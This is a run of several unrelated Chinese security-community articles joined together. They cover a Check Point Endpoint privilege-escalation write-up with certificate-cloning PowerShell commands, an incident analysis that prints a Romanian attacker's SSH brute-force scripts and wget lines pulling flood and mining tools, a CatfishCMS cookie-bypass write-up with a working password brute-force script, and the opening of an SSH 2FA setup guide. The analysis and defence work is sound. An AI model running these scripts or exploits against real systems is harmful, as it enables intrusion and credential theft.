还有名为`AddSecureWcfBehavior`的一个自定义方法会调用这些服务端点，这表明开发者可能会尝试锁定这些服务。实际上，当某个客户端尝试连接到命名管道服务器时，代码首先会检查该连接是否来自于Check
Point签名的进程，如下图所示：
首先服务器会确定客户端的PID，然后使用该信息获取程序的完整路径，最后，服务端会检查：A）应用是否使用有效证书进行签名，以及B）证书的CN字段是否以“Check
Point Software Technologies.”开头。如果不满足这些条件，服务端就会断开该连接。
## 六、绕过代码签名
我们最初的目标就是将DLL注入到经过Check
Point签名的合法进程来满足这些检查条件，以便与目标服务通信。这种方法只有当特定的反病毒功能被禁用后才行之有效。在默认状态下，我们很难将DLL注入大部分进程中，因此这不是一个首选方案。
来自SpecterOps的Matt Graeber发表过一篇[文章](https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec)，其中介绍了一个PowerShell
cmdlet，能帮助低权限用户使用自签名证书来签名代码，也能让操作系统信任该证书。这样一来，我们就有可能签名利用代码，使其能与WCF服务通信，无需注入其他进程。我们可以通过如下步骤，使用伪造的证书来签名利用代码，绕过检查机制：
$cert = New-SelfSignedCertificate -certstorelocation cert:\CurrentUser\my -dnsname checkpoint.com -Subject “CN=Check Point Software Technologies Ltd.” -Type CodeSigningCert
Export-Certificate -Type CERT -FilePath c:\tmp\MSKernel32Root_Cloned.cer -Cert $cert
Import-Certificate -FilePath c:\tmp\MSKernel32Root_Cloned.cer -CertStoreLocation Cert:\CurrentUser\Root\
Set-AuthenticodeSignature -Certificate $cert -FilePath c:\tmp\exploit.exe
## 七、开发利用代码
`SBAStub.dll`（具体路径为`C:\Program Files (x86)\CheckPoint\Endpoint
Security\TPCommon\Cipolla`）中定义了一个`SBAStub`对象，该对象负责处理连接到WCF服务所需的所有管道，还包含名为`SendCommand`的一个方法，我们很自然就能猜测到该方法与目标服务中的`OnCommandReceived`方法有关。`OnCommandReceived`方法接受名为`CommandXML`的一个字符串作为参数，该字符串会原封不动传递给`ExecuteInstaller`。接下来我们看一下`ExecuteInstaller`中的代码，分析该方法对参数的处理过程：
代码204-211行会反序列化处理`CommandXML`，将其转换成一个`RunInstallerPackageCommand`对象，这是服务程序中自定义的一个类，该类包含3个字段：string类型的`InstallerPackagePath`、string类型的`InstallerPackageArguments`以及另一个自定义类（`SBAMessageInfo`）`MessageInfo`。该类中最有趣的字段为`InstallerPackagePath`，因为该字段可以用来在目标服务的上下文中启动进程。
在224行，我们可以看到代码会验证`InstallerPackagePath`所指向的程序是否由Check Point签名。
代码213-232行会将参数载入一个`Process`对象中，然后在235行启动该对象。
因此我们有可能以`SYSTEM`权限启动由Check Point签名的任何应用。
利用代码如下所示：
首先我们初始化`SBAMessageInfo`及`RunInstallerPackageCommand`对象，最重要的是要在`InstallerPackagePath`字段中设置需要目标服务运行的程序。接下来，我们使用`XmlSerializer`来序列化`RunInstallerPackageCommand`。最后，我们创建一个`SBAStub`，使用`SendCommand`方法将新序列化的对象发送给目标服务。只要`InstallerPackagePath`所指定的文件经过签名，并且包含的CN为`Check
Point Software Technologies,`，目标服务就会帮我们启动该程序。
为了演示利用过程，我们创建了一个简单的示例程序，可以在系统中添加一个新的本地管理员账户，我们使用内置的Windows PowerShell
cmdlets对该程序进行签名。随后，目标服务会按照我们的要求运行该程序，实现权限提升。
## 八、厂商回应
在开发出利用代码后，我们第一时间将漏洞反馈至Check Point。与其他厂商相比，他们的披露机制要方便得多。Check
Point在官网上专门为反馈安全问题开放了一个表单，在提交漏洞后厂商很快就与我们取得联系，并且也在问题处理更新过程中与我们协同合作。
厂商修复问题代码后，邀请我们验证修复补丁是否有效。他们的修复方法非常简单，直接让攻击者无法通过WCF来利用`ExecuteInstaller`方法，然后也提高了未授权客户端与目标服务交互的难度，这样处理比简单地避免WCF对外暴露敏感功能来说要更为安全。 | 社区文章 |
# 记一次有趣的反渗透分析实战
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0 前言
周五下午睡醒，看到朋友发的消息，VPS被搞了，这不送上门来的嘛，得分析分析对面想干啥
## 1 分析
通过在朋友的VPS上拿到的东西：系统操作记录、部分日志、工具集等，对攻击者进行了较全面的分析
### 1.1 攻击行为分析
庆幸的是，攻击者水平并不高，所有的操作也都是在原有账户上进行的，同时未添加新用户、未添加自启动服务等。
先看一下攻击者的操作，`history`命令看操作历史：
* 1、先从 <https://www.nasapaul.com> 上下载了`v.py`、`ninfo`等文件，用于测速等操作，意义不大。该网站中一些小工具的作用：
wget NasaPaul.com/paul pentru flood
wget NasaPaul.com/v.py pentru speedtest
wget NasaPaul.com/ninfo pentru specificati
wget NasaPaul.com/perl pentru perli de pe irc
wget NasaPaul.com/Nasa.zip arhiva pentru scan
wget NasaPaul.com/groot.zip pentru arhiva de gosh
wget NasaPaul.com/cnrig (xmrig) pentru ce-i care mineaza
* 2、还从 <http://bashupload.com> （一个互联网临时网盘一样的东西）上下载了`oznv3`这个工具，是个爆破公网IP机器用户名口令的工具，肉鸡拿肉鸡嘛，后面详细分析。
* 3、解压了oznv3、并替换了其中的`pass`文件（用户名密码文件，用于爆破口令）
* 4、后面就是赋权运行程序扫别人了
### 1.2 工具集分析
经过分析，该工具集一共有三条攻击链，下面对攻击者采用的攻击链以及其他两条攻击链进行详细分析。
首先看一下工具目录：
#### 1.2.1 攻击者的攻击链
攻击者采用的攻击链主要是用于扫描A段ip。
从执行命令看，他首先运行了`./cg`，那么我们从这个文件开始入手：
##### cg
该文件是个bash脚本，代码如下：
#!/bin/bash
##################Setari#################
interfata=eth0 # 指定网口
viteza=8 # 扫描速度
port=22 # ssh的端口，显然是要爆破别人的ssh登录口令
threads=1000 # 指定线程
banthread=300 # banner的线程
#########################################
##################Culori#################
galben='[1;33m' # 设置终端提示颜色，没什么用
alb='[1;37m'
negru='[1;30m'
verde='[0;32m'
########################################
rm -rf i bios.txt ip.tmp scan.log banner.log # 删除工具中原本的日志文件
chmod +x .ps ; chmod +x .psG ; chmod +x .psGR ; chmod +x .banner ; chmod +x * # 给其他要执行的文件赋权
clear
echo -e "${negru}>>>>>>>>>>>>> ${alb}Gosh Pornit ${negru}<<<<<<<<<<<<<${verde}"
sleep 3
./.psG $port -a $1 -i $interfata -s $viteza # 运行.psG，参数是 178
sleep 3
cat bios.txt |shuf > ip.tmp # 记录扫描结果
cat ip.tmp |sort |uniq > ip2.tmp # 处理ip记录
rm -rf ip.tmp # 转存到 i 中
cat ip2.tmp | uniq | shuf > i
rm -rf ip2.tmp
wc -l i # 记录行数
echo -e "${negru}>>>>>>>>>>>>> ${alb}Gosh Oprit ${negru}<<<<<<<<<<<<<"
pkill -f .psG # 杀死进程
echo -e "${negru}+++++++++++ ${alb}Banner Pornit ${negru}++++++++++${verde}"
./.banner bios.txt $port $banthread > /dev/null # 运行banner程序测试探测ip目标详细信息
echo -e "${verde}Asteptam 3 secunde.."
sleep 3
doarbanner=$(cat banner.log | wc -l); #记录可以访问的ip数量
echo -e "${alb}Avem ${galben}$doarbanner${alb} ip-uri In banner"
rm -rf i
echo -e "${negru}>>>>>>>>>> ${alb}Banner Oprit ${negru}<<<<<<<<<<"
pkill -f .banner # 杀死banner进程
cat banner.log | grep OpenSSH|cut -d ":" -f 1 > i # 筛选出openssh的条目
ipscount=`grep -c . i`
sleep 10
pass=$(cat pass | wc -l); # 字典中的用户名密码条目
ips=$(cat i | wc -l); # 开启ssh服务的ip条目
echo -e "${alb} ${galben}[${galben}${alb} BruteForce ${galben}]${galben} - [${galben} Clasa: ${alb}$1${galben} ]${galben} - [${galben} Ipurile: ${alb}$ips${galben} ipuri ]${galben} - [${galben} ${alb}$pass${galben} Parole ]${galben}"
sleep 10
./.ps $threads -f i pass $port "uname -a & cat /proc/version" # 开始爆破
pkill -f .ps
sleep 5
printf "${alb}Gata Scanarea, clasa urmatoare fraiere\n"
该脚本执行流程：
* 1、首先指定了用于扫描的网口、目标的端口（22，目标很明确）、扫描线程等信息
* 2、给`.ps`、`.psG`、`.psGR`、`.banner`等文件赋执行权限
* 3、运行`.psG`进行公网ip的扫描，并记录可访问的ip结果
* 4、运行`.banner`处理扫描到的ip，进行更详细的测试，主要获取开启`ssh`服务的ip
* 5、运行`.ps`对开启ssh服务的目标进行口令爆破、系统信息探测
下一步是运行了`.psG`，那么对`.psG`进行分析
##### .psG
首先查看文件信息：32位ELF文件、小端序、静态链接
`psG`的软链接，逆向之，没有加壳、混淆、反调试等，不过去除了符号表。
文件挺大，函数挺多，也去除了关键符号，不过从中还是能拿到很多有用信息。
首先看看其中的可见字符，基本能搞明白是干嘛用的：
后面还有很多可见字符串，`tcpdump`、`802.11`等很多字符串，用途可想而知。
**关键函数分析**
没有找到合适的符号表，就凑合分析吧。
通过追踪关键字符串的引用，发现`sub_80481A0`关键函数，其交叉引用指向了`srart`：
从`start`调过来的，明显是`main`函数：
根据上图可以分析得知，该函数提示了具体的用法，对应前面的bash脚本中的如下代码：
`./.psG $port -a $1 -i $interfata -s $viteza`
即在运行的时候需要指明是A段还是B段网络，对应的参数是`-a、-b`，其中`-a`参数是用户输入的A段目标，
_根据history，攻击者输入的是178，老美的IP。。。_
需要指明网口，参数：`-i`
指明扫描的速度，参数：`-s`
如图，如果满足判断，即可进行A段网络的扫描，或者下图中的B段网络的扫描（扫描函数调用的是`sub_806D7B0`）：
同时也会限制访问的端口、提示使用的网口、检测的IP地址等信息：
然后调用`sub_805FF00`函数获取`pid`：
其中`sub_805FF00`代码如下：
可以看到，通过系统系统调用，调用了linux的`sys_fork`函数。
如果`pid=0`，则将扫描结果记录到`bios.txt`：
否则进行目标ip的扫描：
通过分析，`sub_806D7B0`、`sub_80505BC`等函数都是具体进行扫描的时候的关键函数，这里不再进行详细分析。
至此，该工具的用途就很清楚了，进行下一步分析。
##### .banner
分析得知，也是一个32位的ELF文件、小端序、静态链接：
用IDA静态分析，先看一下程序中的可见字符串：
可以看到一些字符串提示，以及调用的标准库函数。
根据`start`交叉引用，找到main函数`sub_804823C`：
main函数中调用`sub_8048E7A` 对目标IP进行进一步处理。
同时start函数还调用了`sub_80493D0`，查看函数内容发现其是一个探测系统内核信息的函数：
再来分析`sub_8048E7A` ：
此函数中，首先会对IP地址范围进行处理，然后调用`sub_807E670`进行ip目标的探测。
##### .ps
`.ps`是`ps`的软链接，64位ELF文件、小端序、静态链接：
该程序对上一步过滤出的开启ssh服务的ip进行口令爆破
IDA逆向发现就三个函数，将近1M的文件就三个函数怎么可能？！
看下可见字符串，发现`uxp`特殊字符串：
放ubuntu中查看：
明显的加壳标记，壳还挺简单，二话不说，脱壳继续分析！
脱壳之后函数及字符串情况如下：（一堆加密函数）
首先分析 **main函数** ，关键代码如下：
可以看到，它根据传入参数的不同，分别进行处理，不过经过分析，处理过程大同小异。
攻击者在`cg`脚本中用的是`-f`参数，读取了文件`i`中的开启ssh服务的ip条目、`pass`文件中设置好的用户名和密码。
**scan函数：**
该函数根据传入的参数打开目标文件：
经过一部分处理之后调用`checkauth`函数进行认证：
**checkauth函数：**
根据图中的函数逻辑可知，该函数整体就是：
**发起ssh连接—
>初始化—>认证—>建立隧道—>登陆之后执行命令—>读取执行结果—>调用payload函数—>将payload写入缓冲区的结果存入gasite.txt—>关闭并释放ssh连接**
`gasite.txt`是什么？
用户名、密码、IP、端口、系统信息。。。
_注意其中的`DVRSrv`字段，后面还会有过滤系统信息的处理，攻击者目标还是比较明确的_
**payload函数：**
先进行一个base64的解密，没有终点分析，然后把格式化的`USER: %s PASS: %s HOST: %s PORT: %s -->
%s`写入到缓冲区，也就是扫描的结果，而后由其上层的`checkauth`写入gasite.txt。
至此，`ps`整体的分析结束，`cg`函数的调用也就结束了，获取到了经过一系列扫描、爆破的结果，而后利用`filtru.sh`进行过滤筛选。
##### filtru.sh
这个bash脚本是对`ps`中拿到的gasite.txt进行过滤：
#!/bin/bash
YEL='[1;33m'
WHI='[1;37m'
grep -v "DVDSrv" gasite.txt > 1
grep -v "pos01" 1 > 2
grep -v "raspberry" 2 > 3
grep -v "Error" 3 > 4
grep -v "Please login" 4 > 5
grep -v "sh-4.3" 5 > 6
grep -v "06:20:54" 6 > 7
grep -v "ERROR" 7 > 8
grep -v "^G" 8 > 9
grep -v "3.2.68-1+deb7u1" 9 > 10
grep -v "PREEMPT" 10 > 11
grep -v "This service allows sftp connections only." 11 > 12
grep -v "This account is currently not available." 12 > 13
grep -v "listensocks" 13 > 14
grep -v "wrong" 14 > 15
grep -v "/dev/pts" 15 > 16
grep -v "reconnect" 16 > 17
grep -v "Welcome to" 17 > 18
grep -v "Unknown command" 18 > 19
grep -v "JUNOS" 19 > 20
grep -v "ppc unknown" 20 > 21
grep -v "mips" 21 > 22
grep -v "uname -a" 22 > 23
grep -v "4.15.0-38-generic #41-Ubuntu SMP x86_64 GNU/Linux" 23 > 24
grep -v "4.9.0-8-amd64 #1 SMP Debian 4.9.110-3+deb9u6 (2018-10-08) x86_64 GNU/Linux" 24 > 25
grep -v "UTC 2017 x86_64 x86_64 x86_64 GNU/Linux" 25 > 26
grep -v "cat: /proc/version: No such file or directory" 26 > 27
grep -v "pos01" 27 > 28
grep -v "raspberry" 28 > 29
grep -v "Error" 29 > 30
grep -v "Please login" 30 > 31
grep -v "sh-4.3" 31 > 32
grep -v "06:20:54" 32 > 33
grep -v "ERROR" 33 > 34
grep -v "22:33:07" 34 > 35
grep -v "3.2.68-1+deb7u1" 35 > 36
grep -v "PREEMPT" 36 > 37
grep -v "This service allows sftp connections only." 37 > 38
grep -v "This account is currently not available." 38 > 39
grep -v "uname: Invalid argument" 39 > 40
sed '/^\s*$/d' 40 > bune
sleep 2
rm -rf 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
sleep 1
chmod 777 *
chmod 777 bune
clear
printf "${YEL}++ Gata fraiere, folosim \"nano bune\" pentru a vedea vps-urile prinse ++ ${WHI}\n"
最后筛选出攻击者想要的目标，显然他想要的是linux嵌入式系统，并且没有报错、无须后续登录等条件的目标。
**这里在网上查东西竟然查到了类似于gasite.txt文件内容的帖子！！！**
还是个[匿名帖子](https://pastebin.com/udxeVNct)
难道是他？不管怎样，工具基本可以肯定肯定是同一个，而且各种方法搜工具都搜不到，google
hacking都不行。这哥们难道是想在网上打到目标，然后再公布到互联网上？？？都是弱口令啊…
攻击链本地测试：（别说，还挺好用！）
#### 1.2.2 第二条攻击链
这条攻击链主要用于扫B段ip。
首先执行`random` bash脚本：
#!/bin/bash
while :
do
RANGE=255
number=$RANDOM
number2=$RANDOM
let "number %= $RANGE"
let "number2 %= $RANGE"
./c $number.$number2 # 随机生成一个B段号，并传给c作为参数
done
可以看到，此脚本将会随机生成一个B段网络，然后调用bash脚本`c`：
#!/bin/bash
### Set conexiuni tool ###
passfile=pass
threads=1000
port=22
#
WHI='[1;37m'
BLK='[1;30m'
RED='[1;31m'
YEL='[1;33m'
BLU='[1;34m'
RES='[0m'
if [ $# != 1 ]; then
echo "${WHI} Folosim: $0 <b class>${RES}"
exit;
fi
chmod +x .ps ; chmod +x .psG ; chmod +x .psGR ; chmod +x .banner ; chmod +x *
./.ps $threads -b $1 $passfile $port "uname -a & lscpu" #用-b参数扫描
sleep 5
pkill .ps
echo "${RED}[+]${BLK} Brutele TERMINAT.${RES}"
该脚本利用`ps`的 `-b`参数进行扫描，即对一个B段网络进行扫描，具体的扫描操作以及后续的处理就跟攻击者用的攻击链一样了。
攻击链本地测试：
#### 1.2.3 第三条攻击链
通过域名关键字进行B段ip的扫描。
首先执行bash脚本`frm`：
#!/bin/bash
BLK='[1;30m'
RED='[1;31m'
GRN='[1;32m'
YEL='[1;33m'
BLU='[1;34m'
MAG='[1;35m'
CYN='[1;36m'
WHI='[1;37m'
DRED='[0;31m'
DGRN='[0;32m'
DYEL='[0;33m'
DBLU='[0;34m'
DMAG='[0;35m'
DCYN='[0;36m'
DWHI='[0;37m'
RES='[0m'
printf "${YEL}Folsim comanda \"cat .ez\" pentru a vedea lista claselor si tarilor disponibile\n"
sleep 5
if [ -e .clase/$1 ] ; then
echo "${BLK}>>>${YEL} Cautam............"
sleep 3
oopsnr2=`grep -c . .clase/$1`
echo "${BLK}>>>${YEL} Am gasit ->${DGRN} $oopsnr2 ${YEL} clase ${YEL}"
sleep 5
./range .clase/$1
else
echo "${BLK}>>>${RED} Nu am gasit fisierul cu clase ${YEL}"
fi
根据我们传入的参数，调用`range`脚本，其中`.clase`内容如下：
可以看到，该目录下面存放了很多以一些特殊域名命名的文件，而文件又中存储了一些域名对应的B段ip，应该是前期信息收集来的。
`range`脚本如下：
#!/usr/bin/env bash
# check for presence of parameter
if [ -z $1 ]; then
echo "Se foloseste: ./frm fisier cu clasele"}
echo "De exemplu ./frm alibaba"
exit 1
fi
# read the file into an array of lines
declare -c lines
let count=0
while read line; do
lines[$count]=$line
let count=count+1
done < "$1"
# iterate lines of the file
count=0
for line in "${lines[@]}"; do
let count=count+1
eval ./c "$line"
done
也就是根据`frm`中指定域名文件中的B段号，调用脚本`c`进行B段的扫描。
攻击链本地测试：
至此，该工具集中的攻击链分析及测试完毕。
### 1.3 针对攻击者的分析
通过结合攻击者的代码特点以及操作方式，对攻击者形成了一个简单的画像
#### 1.3.1 攻击者人物画像
**根据各个方面的分析，猜测攻击者可能是罗马尼亚人、编程水平一般、linux系统操作能力不强、攻击具有目的性**
* **罗马尼亚人**
在分析工具的时候就觉得其中的提示语不像是英语，后来把一些关键句放到google翻译、百度翻译等多种翻译工具中进行`自动识别`，多次测试都是识别为了`罗马尼亚语`。
工具中出现了很多词汇，例如：
De exemplu ./frm alibaba
Asteptam 3 secunde..
百度翻译自动识别：
谷歌翻译自动识别：
根据自动识别结果（包括工具中的其他关键字的翻译结果，诸如：Culori、Setari等其他关键词），基本确定攻击者是以`罗马尼亚语`为母语的人，其位置也基本可以锁定在罗马尼亚附近
* **编程水平一般**
在分析工具的过程中发现，这些bash脚本编写的水平并不高，，但是中间很多缺陷很明显、很多冗余，诸如赋权重复、不定义函数、不加混淆等。
同时对于二进制文件的保护水平也很低，只是基本的去符号表、加一层简单的壳而已，目前还没有详细分析，没准其中还存在缓冲区溢出之类的漏洞呢。
* **linux系统操作能力不强**
根据前面放的其命令操作历史可以看到，在执行一些基本命令的时候，都出现了多次错误， _难道是拿到一台机器太激动了？那岂不是水平更低_
。使用的编辑器也是简单的nano。拿到机器之后没有创建用户、添加自启动服务之类的，而是把VPS的密码给改了。。。结合 **他现在还在用肉鸡打朋友的VPS**
，可想而知，也就只是一个脚本小子。
* **攻击目的明确**
根据其工具的分析，可知该攻击者就是想拿到互联网中一些指开启ssh服务的linux系统将其作为自己的肉鸡，再继续探测。并且根据`.class`文件夹下面的文件可知，其进行的是有目的性地针对指定的国家、企业、组织的IP发起扫描。
**猜测前面提到的帖子也是指向了这个攻击者**
结果太一致了：
简直一毛一样，奈何发帖的人是匿名的。
#### 1.3.2 攻击者意图分析
通过`filtru.sh`脚本的分析，该攻击者对拿到的肉鸡进行了一些过滤，并且根据其后续对朋友的VPS进行的攻击（他手上大概100多台肉鸡），分析该攻击者就是想在互联网是捕获肉鸡，然后再利用肉鸡继续拓展，至于更深一层次的目的，是为了自己挖矿还是有组织目的的尚不明确。
哦，他还在拿到的肉鸡上放了冰蝎。。。
## 2 溯源
由于他仍然在利用手中的肉鸡继续对该VPS进行密码的爆破（通过查看错误日志btmp发现的）
因此有了关于后续的溯源设想：通过拿下目前正在执行爆破任务的肉鸡向上溯源到攻击者。
大概率控制这些肉鸡的机器就是攻击者自己的机器，而且他的这些肉鸡基本都是用此工具进行爆破弱口令拿下的，那我们也用弱口令爆破应该也能够拿下，不过这个攻击者也会更改密码，毕竟这台VPS密码就被他改掉了。。。
因此下一步工作可以尝试对这些肉鸡进行爆破，尝试拿下，进而进行进一步的溯源。
## 3 总结
虽然对面可能只是一个脚本小子，奈何人家拿到了你的机器呀，而且人家手上还有很多肉鸡。不过细想他的攻击方式，不禁又让我对弱口令发出感慨，世人皆知弱口令危险，却仍有很多在用。
**那么，你还在用弱口令吗？** | 社区文章 |
上一篇文章审到了 `后台的getshell`
地址：[某fishcms 后台存在任意文件删除+getshell](https://xz.aliyun.com/t/5150)
想着怎么说也再审审，然后。。。
审了一个危害不算大的，但觉得挺有趣的，分享一下
* * *
# 发现问题
绝望之际，开始翻起了函数。
在 `user\controller\common.php` 中，我发现了：
发现 `Cookie` 中获取 `user` 和 `user_id` ，立刻提起了我的兴趣。
首先我们依次看看这函数的三个判断。
49行的：
if(
!Session::has($this->session_prefix.'user_id')
&& Cookie::has($this->session_prefix.'user_id')
&& Cookie::has($this->session_prefix.'user')
)
为了方便，这里我们先无视 `$this->session_prefix` 这个前缀。
三个条件：
1. `SESSION` 中不存在 `user_id`。
2. `cookie` 中存在 `user_id`。
3. `cookie` 中存在 `user`。
看起来不难，先不分析，看看第二个：
$cookie_user_p = Cache::get('cookie_user_p');
if(
Cookie::has($this->session_prefix.'user_p')
&& $cookie_user_p !== false
)
1. `cookie` 中有 `user_p`
2. `cache` 中有 `cookie_user_p`
暂时无视 `cache` 中的那个值，再看看第三个 `if`：
$user = 从数据库中查找 $_COOKIE['user'] 对应的 pass 和 user_type
if(
!empty($user)
&& md5($cookie_user_p.$user['user_pass']) == Cookie::get($this->session_prefix.'user_p')
)
1. 查得出数据就可以过
2. `md5($cookie_user_p+用户的密码)` 等于 `cookie` 中的 `user_p`
接下来我们总结一下这三个 `if`，这里 `cookie` 的值我们是可控的，不可控的值只有两个：
1. `$this->session_prefix`
2. `$cookie_user_p = Cache::get('cookie_user_p');`
第一个的值（`$this->session_prefix`）：
`url.build（'/'）` 就是网站的根目录。
所以这个值就是：`catfish` \+ 根目录的值替换几个特殊字符
第二个值（`Cache::get('cookie_user_p')`）在这个类没有赋值，全局搜索一下只找到一处赋值的地方：
这是登陆的函数，在判断完账号密码后到的这里。
这个 `remeber` 一看就知道是 `记住账号` 的按钮。
125 行定义了这个值：
> $cookie_user_p = md5(time());
可以说是相当薄弱了，这个随机数我们是很容易找出来的。
所以所有的值都是已知的
只剩最后一个问题了，有什么用呢？
问得好，我们看看登陆成功后都做了什么：
Session::set($this->session_prefix.'user_id',Cookie::get($this->session_prefix.'user_id'));
Session::set($this->session_prefix.'user',Cookie::get($this->session_prefix.'user'));
Session::set($this->session_prefix.'user_type',$user['user_type']);
因为从数据库中获取了 `username` 相应的密码，所以 `username` 和 `password` 我们都要填正确的才行。 所以 `user` 和
`user_type` 不行，只有 `user_id` 了我们可以任意控制。但是这个 `user_id` 找了一圈，也没找到什么实质性的危害。。。
* * *
# 思考问题
在我眼睁睁地看着我的头发掉了三根的时候，我想到了，这里我们相当于绕过验证码，爆破用户名密码。这也算是低危了吧。
下面我们可以来思考如何利用了：
我们再一个条件一个条件来：
第一个：
if(!Session::has($this->session_prefix.'user_id') && Cookie::has($this->session_prefix.'user_id') && Cookie::has($this->session_prefix.'user'))
我们没登陆时，默认是没有 `user_id` 在 `session` 里的，所以这里没影响。
第二个：
$cookie_user_p = Cache::get('cookie_user_p');
if(Cookie::has($this->session_prefix.'user_p') && $cookie_user_p !== false)
这里是关键了，默认 `cookie_user_p` 其实是 `false` ，但是设置的地方只有一处，是登陆的地方，但是第一个 `if` 判断了
`session` 的 `user_id` ，相当于不能登陆
所以换个角度，我们能不能先登陆一次，再注销呢？
答案是：当然可以，而且注销也不会删掉 `Cache` 中 `cookie_user_p` 的值。
ok，既然如此，我们可以先试试。
# 漏洞复现
首先我们可能需要一个这样的 `php` ：
这方便我们等等登陆完找到一个大概的 `time` 值。
然后我们就去登陆吧：
这里点 `记住我` 。
登陆完后我们访问这个 `php` ：
此时我们可以看看我们的 `cookie`：
我们可以在这里就直接找到他的前缀：`catfishCatfishCMS|4?8?75`
然后再看看 `user_p` 这个值：`7541e2cc792bd77faf926e96a6006031`。
我们再来回顾一下这个值是这么设置的：
`Cookie::set(前缀.'user_p',md5($cookie_user_p.$user['user_pass']),604800);`
`$cookie_user_p` 是那个 `md5(时间)`，
`$user['user_pass']` 是我们的密码。
我们有一个近似的时间了，所以我们很容易爆破出来这个 `$cookie_user_p` 到底是多少。
我们写个 `jo` 本：
import hashlib
def md5(s):
return hashlib.md5(s).hexdigest()
cookie_user_p = 1558287843
login_password = '123456'
while True:
if md5(md5(str(cookie_user_p))+md5(login_password)) == "7541e2cc792bd77faf926e96a6006031":
break
cookie_user_p-=1
print cookie_user_p
这里我跑出了 ： `1558279836`。
然后我们现在注销登陆。
再看看哪里调用了 `checkUser`：
我们可以看到 `user\index` 一开始就调用了这个函数。我们可以访问 `/user/index` ，然后抓包。
默认的包：
然后我们添加几个关键 `cookie`：
catfishCatfishCMS|4?8?75user_id=any;
catfishCatfishCMS|4?8?75user=ruozhi1;
catfishCatfishCMS|4?8?75user_p=7541e2cc792bd77faf926e96a6006031;
`user_p` 是：`md5(md5('1558279836')+md5('123456'));`
这里 `1558279836` 是我刚跑出来的值，`123456` 是我的密码
成功了。。
当然，既然是要爆破，比如我们再试试别的账号。
首先我们需要再注销一次用户（因为第一个 `if` 中判断了 `session` 中不能有 `user_id`）
这里我又注册了一个：
账号：`ruozhi2`，密码：`12345678`
`md5(md5('1558279836')+md5('12345678')) = bb889606714938a2408aa29fa6d0aa4d`
依然可以。
当然了，爆破这个操作手工来肯定太麻烦，所以我们可以写个脚本：
脚本在最下面。。
# 总结
这个漏洞其实危害不大，但是我觉得这个漏洞的思路挺有意思的，所以拿出来献丑了。
在开发中可以把 `time` 改成 随机数 或者直接 像验证码那样弄几个几十个随机字符，这样就加大了爆破这个字符串的难度。
# 脚本
#python3 脚本
import requests
import hashlib
passwords = [
'123456',
'12345',
'123456789',
'password',
'iloveyou',
'princess',
'1234567',
'rockyou',
'12345678',
'abc123',
'nicole',
'daniel',
'babygirl',
'monkey',
'lovely',
'jessica',
'654321',
'michael',
'ashley',
'qwerty',
'111111',
'iloveu',
]
def md5(s):
return hashlib.md5(s.encode()).hexdigest()
u = "http://127.0.0.1/CatfishCMS-4.8.75/user.html"
session_prefix = 'catfishCatfishCMS|4?8?75' # 前缀
user_p = '7541e2cc792bd77faf926e96a6006031' # 登陆后 cookie 中 user_p 的值
login_password = '123456' # 登陆时的密码
PHPSESSID = 'dvl43ghjiocb81tkgabv46pmkt'
username = 'ruozhi3' # 爆破的用户名
cookie_user_p = 1558287843 #登陆时大概的时间戳(要在登陆成功后的时间
while True:
if md5(md5(str(cookie_user_p))+md5(login_password)) == user_p:
break
cookie_user_p-=1
print(cookie_user_p)
for passwd in passwords:
print("check:"+str(passwd))
cookie = {
"think_var":"zh-cn",
"PHPSESSID":PHPSESSID,
session_prefix+"user_id":"any",
session_prefix+"user":username,
session_prefix+"user_p":md5(md5(str(cookie_user_p))+md5(passwd)),
}
r = requests.post(u,cookies=cookie,allow_redirects=False)
if 'location' not in r.headers or r.headers['location'].find("login") < 0:
print("Success~");
print(username,passwd)
break | 社区文章 |
# 前言
> 双重认证（英语：Two-factor
> authentication，缩写为2FA），又译为双重验证、双因子认证、双因素认证、二元认证，又称两步骤验证（2-Step
> Verification，又译两步验证），是一种认证方法，使用两种不同的元素，合并在一起，来确认用户的身份，是多因素验证中的一个特例。
前段时间学校几台服务器被入侵，有Windows和Linux，无一例外都是被SSH和RDP爆破进来然后植入木马。还好这些机子都是内部不能连接外网的，挖矿木马没有和C&C服务器通信起来，没有成功挖矿，但是这件事仍然给我们敲响了警钟。
和师兄在一起交流的时候，突然想到了现在流行的两步验证（2FA），就想着能不能给SSH和RDP上面套一层，在输入密码登录完成之后还需要经过二次认证才能成功访问服务器，想到这里就开始查文章，折腾了几天终于成功解决了这个问题，特写一篇文章分享一下：
安装过程参考了 DigitalOcean 的：<https://www.digitalocean.com/community/tutorials/how-to-set-up-multi-factor-authentication-for-ssh-on-ubuntu-16-04>
* * *
我用一台`Ubuntu 18.04 LTS`作为测试机来演示。首先我们要把 SSH 配置好，确保常规 SSH 可以成功连接
然后在你的手机上安装`Google
Authenticator`这个应用，[Android](https://play.google.com/store/apps/details?id=com.google.android.apps.authenticator2&hl=en
"Android") 和 [iOS](https://itunes.apple.com/cn/app/google-authenticator/id388497605?mt=8 "iOS") 都有。
# 安装 Google authenticator
我们需要先更新一下软件包：`sudo apt update`，然后安装 Google PAM：
`$ sudo apt-get install libpam-google-authenticator`
安装好后，直接在命令行中运行 `google-authenticator`
它会提示你是否生成基于时间的 Token，这时候根据你的喜好选择，我这里选择是，输入Y。
此时会出现一张二维码图片，我们这时候打开刚刚下载的身份验证器，点击右下角的加号，选择“扫描条形码”，然后将 SSH
窗口放大，用摄像头扫描出现的二维码，此时就会多出一个账号信息（六位数的动态码），另外记得妥善保存你的`Emergency Key`。
**如果成功扫描的话就可跳过此步，如果你无法扫描二维码的话，请点击下方的“输入提供的密钥”**
账号名随便输入，不过建议取一个容易记住的名字，“您的密钥”一栏输入二维码下面跟着的那串`Your new secret key
is`后面的内容，“时间选项”里面，如果你在第一步输入了Y，就选择`基于时间`，否则就选`基于计数器`，完成后点击添加。
提示`Do you want me to update your "/home/wb/.google_authenticator" file?
(y/n)`，输入Y。
接下来提示你是否设置为动态码复用，以防止攻击，当然选Y。
Do you want to disallow multiple uses of the same authentication
token? This restricts you to one login about every 30s, but it increases
your chances to notice or even prevent man-in-the-middle attacks (y/n) y
接下来我个人推荐第一项选择N，第二项选Y，这样可以防止攻击。
By default, a new token is generated every 30 seconds by the mobile app.
In order to compensate for possible time-skew between the client and the server,
we allow an extra token before and after the current time. This allows for a
time skew of up to 30 seconds between authentication server and client. If you
experience problems with poor time synchronization, you can increase the window
from its default size of 3 permitted codes (one previous code, the current
